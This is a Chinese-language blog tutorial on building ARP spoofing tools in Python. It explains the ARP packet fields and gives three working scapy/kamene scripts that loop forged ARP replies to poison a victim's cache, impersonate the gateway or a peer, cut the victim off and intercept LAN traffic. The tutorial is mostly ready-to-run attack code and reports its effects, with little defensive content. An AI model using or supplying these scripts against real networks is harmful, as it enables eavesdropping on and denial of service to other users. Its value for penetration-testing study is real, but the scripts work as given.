编写Python渗透测试工具之ARP欺骗工具

本文将用Python中的Scapy模块编写。

用一张图简单介绍一下ARP的攻击原理:

这时候,受害者的流量全部经过攻击者机,卖家发给受害者的流量也会经过攻击者机的手上。从而让受害者无法与网关联系,导致流量无法到达受害者机上。而攻击者却能拿到网段所有流量。

ARP数据的详细信息列表:

参数

注释

Hardware type

硬件类型,标识链路层协议

Protocol type

协议类型,标识网络层协议

Hardware size

硬件地址大小,标识MAC地址长度,这里是6个字节(48bit)

Protocol size

协议地址大小,标识IP地址长度,这里是4个字节(32bit)

Opcode

操作代码,标识ARP数据包类型,1表示请求,2表示回应

Sender MAC address

发送者MAC

Sender IP address

发送者IP

Target MAC address

目标MAC,此处全0表示在请求

Target IP address

目标IP

第一种写法

这一种写法可以直接调用scapy模块,然后实例化ARP类赋值给arp,然后直接设置源地址和目的地址,如果不设置源Mac地址和目的Mac地址那么默认就是攻击者的Mac地址。

然后来个死循环不断去发包。

如果不会ARP,可以看下这个图。

from scapy.all import *

arp = ARP()

arp.psrc = "192.168.1.1"

arp.pdst = "192.168.1.103"

while True:
    send(arp)

还没攻击之前,网关对应的IP地址是正确的。

当我们运行脚本,不断的去发ARP包,不断冲刷ARP缓冲表后

网关的IP地址对应的MAC地址发生了变化,网关地址变成了攻击机 Kali Linux的MAC地址。

此时的受害者机已经无法上网了

第二种写法

第一种写法,我们是以网关的身份发送ARP包给192.168.1.103这个用户,改掉了MAC地址。

第二种写法,可以调用kamene模块,这个模块和scapy模块一样,为什么不用scapy模块?请看 Python的Scapy模块的一个坑 这篇文章。

f

from kamene.all import (
    Ether,
    ARP,
    sendp
)

eth = Ether()

arp = ARP(
    op = 'is-at',

    hwsrc = "54:27:1E:A2:F4:85",

    psrc = "192.168.1.1",

    hwdst = "00:0c:29:70:43:e9",

    pdst = "192.168.1.106"

)

print((eth / arp).show())

sendp(eth / arp,inter = 2, loop = 1)

先调用kamene模块,导入这个模块中的Ether ARP sendp方法。

然后实例化Ether方法,再实例化ARP方法,并且配置其参数。

然后重载"/"操作符,可以用来表示两个协议层的组合,显示其数据包的结构信息。

再使用sendp方法进行发包,每1秒重复发包,这种方法可能会导致本机也上不了网,因为导致了网络拥堵。

第三种方法

from scapy.all import (
    ARP,
    Ether,
    sendp
)

eth = Ether()

arp = ARP(
    op = "is-at",
    hwsrc = "ff:ff:ff:ff:ff:ff",
    psrc = "192.168.1.106",
    pdst = "192.168.1.101"
)

print((eth/arp).show())

while True:
    sendp(eth/arp,inter=2,loop=1)

这种方法,我们可以直接以攻击者和客户之间的欺骗,这种方法并没有欺骗用户网关的MAC地址,而是欺骗了我攻击者的MAC地址。

也就是得出了一个结论,我们既可以通过网关的身份去欺骗用户,也可以通过客户与客户之间的欺骗。如果不写欺骗的MAC地址,那么默认就是攻击者的MAC地址。

发布了19 篇原创文章 · 获赞 12 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/87861038